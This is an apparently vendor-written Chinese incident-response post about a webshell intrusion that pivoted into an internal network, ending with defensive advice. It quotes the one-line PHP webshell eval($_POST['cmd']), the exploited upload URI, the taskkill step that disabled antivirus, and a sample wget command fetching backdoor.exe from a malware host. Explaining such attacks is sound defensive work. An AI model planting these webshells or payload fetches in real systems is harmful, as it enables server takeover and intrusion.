這幾年處理過的網站被駭調查案件中,多數都是遭到 webshell 攻擊,明顯發現駭客的攻擊手法在改變中,但讓我印象最深刻的就屬下列分享的這個案例,除了網站遭到 webshell 打穿外,還被當作跳板轉向對內網發動滲透攻擊。
這個案例首次警覺到網站遭駭,起因於該網站管理人員,於網站部署國內鑑識龍頭所研發的資安鑑識軟體 eDetector,於某日,日常掃描分析作業發現記憶體遭植入惡意程式所控制,進而鑑識分析確認網站遭駭,由相關圖示可以發現,駭客嘗試藉由 web app 漏洞將可執行駭客命令的 webshell 上傳至網站,19:20:37 可以觀察到駭客嘗試確認上傳 error.php 是否成功,而網站回應該檔案不存在之status code = 404
隨後於 19:21:12 駭客藉由 “/db_sql.php?reload=1&newmysql&message%E6%82%A8…….” 該 URI 的漏洞成功地將 error.php 上傳至該網站,駭客隨後確認 “error.php” 該檔案已成功上傳至網站
error.php 該檔案內容如下圖示,僅一行指令就可讓駭客在網站伺服器上執行任意程式或命令,甚至可以下載檔案與上傳文件皆可
當然駭客並不會就此停下,藉由上傳的 error.php 執行許多指令,其中最關鍵的就是下達 taskkill.exe 終止該網站上的防毒軟體之執行,也就是說該網站接下來處於失去最後一道安全防線狀態 - 端點防毒關閉,因此隨後駭客上傳的任何惡意程式將無法被有效偵測發現,駭客得以進一步上傳遠端遙控的惡意程式(通常容易被防毒有效偵測)輕鬆地在遠端繼續幹壞事而不會被察覺。
為何僅單一行指令 “eval($_POST[‘cmd’]);”竟能造成如此之嚴重影響,事實上 eval($cmd)是php及asp ...等網頁語言程式設計師用來檢測網頁是否正常運轉的最簡單語法,eval指令會忠實執行括號內所傳遞之命令,例如說 “cmd wget http://malware.ddns.net/backdoor.exe" 所傳遞之訊息將會讓受駭網站伺服器執行從 “malware.ddns.net" 此網站下載 “backdoor.exe”該惡意程式,隨後再下達 “cmd backdoor.exe” 將讓受駭網站埋入後門可輕易接收並執行駭客遠端遙控的的命令。
這樣受駭的場景在近年的資安事件調查中經常看到,webshell 的攻擊儼然成為網站攻擊的主流,而上述這個資安事件調查同時發現內網造到駭入,通常一般機關單位對外服務的網站會架設於 DMZ網段,與內網透過防火牆適當隔離,從 DMZ 對內網常規禁止連入,此案件經調查也同時暴露出 IT 管理人員為了方便而將防火牆加了一條允許 DMZ(www) 對內網連線規則,這無疑是幫了駭客一把讓駭客駭入網站後就可長驅直入內網如入無人之境。由此案例可知 IT 管理人員在考量管理便利性同時亦必須謹慎思考資訊安全的重要性,切勿圖一時之便而將內網安全暴露在風險中。
而資安人員面對 webshell 攻擊可透過以下方式來提升防禦與偵防:
1. 部署 Web Application Firewall,讓這類的資安設備協助抵禦 webshell 的攻擊。
2. 定期執行網站弱點掃描,並矯正有漏洞的網站應用程式,避免駭客有機可乘,藉此可以降低遭到 webshell 攻擊滲透成功的機率。